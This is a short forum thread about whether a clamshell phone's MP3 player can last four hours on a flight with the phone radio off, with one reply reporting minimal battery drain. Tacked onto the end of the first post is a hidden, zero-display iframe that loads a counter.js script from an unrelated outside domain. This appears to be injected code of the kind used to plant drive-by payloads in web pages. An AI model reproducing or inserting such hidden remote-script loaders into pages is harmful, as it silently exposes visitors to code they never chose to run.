Does anyone know how long the battery will last if you have the phone part off, only have the mp3 player running and the clamshell closed?

I frequently fly cross-country and am trying to figure out if the phone will meet my travel music needs. If I can get at least 4 hours I'll put my ipod/nomad zen budget towards the new phone.

Thanks,
The BigO

PS - I tried using the search to find this out but couldn't find any examples of people using the MP3 player only . If this has already been covered somewhere else, please let me know where.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

I just flew between L.A. and D.C. and used the MP3 player for over two hours with the phone off and the clam shell closed. It was a very small drain on the battery. I have no doubt it would have lasted far more than four (even eight) hours with the phone off.